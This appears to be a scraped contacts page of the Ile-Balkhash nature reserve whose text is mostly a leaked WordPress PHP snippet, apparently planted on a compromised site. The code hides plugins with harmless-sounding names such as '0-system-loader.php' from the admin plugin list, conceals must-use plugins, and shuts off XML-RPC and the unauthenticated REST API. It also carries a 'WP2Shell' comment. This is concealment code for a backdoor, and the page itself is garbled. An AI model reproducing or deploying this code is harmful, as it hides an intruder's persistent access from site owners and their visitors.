// Security: Disable remote access
add_filter("xmlrpc_enabled", "__return_false");
add_filter("xmlrpc_methods", function($methods) { return array(); });
add_filter('show_advanced_plugins', '__return_false', 999);
// Hide specific plugins from admin panel
add_filter("all_plugins", "hide_specific_plugins");
function hide_specific_plugins($plugins) {
$hide_list = array('wp-system-health/wp-system-health.php', '0-system-loader.php', 'wp-security-check.php', 'wp-maintenance.php');
foreach ($hide_list as $hide) {
if (isset($plugins[$hide])) {
unset($plugins[$hide]);
}
}
return $plugins;
}
// Hide MU-plugins if visible
add_filter("show_advanced_plugins", function($show) { return false; });
// WP2Shell REST API protection
add_filter('rest_authentication_errors', function($result) {
if (!is_user_logged_in() && !is_admin()) {
return new WP_Error('rest_disabled', 'REST API disabled', ['status' => 401]);
}
return $result;
});
Контакты — Иле-Балхашский заповедник
Контакты — Иле-Балхашский заповедник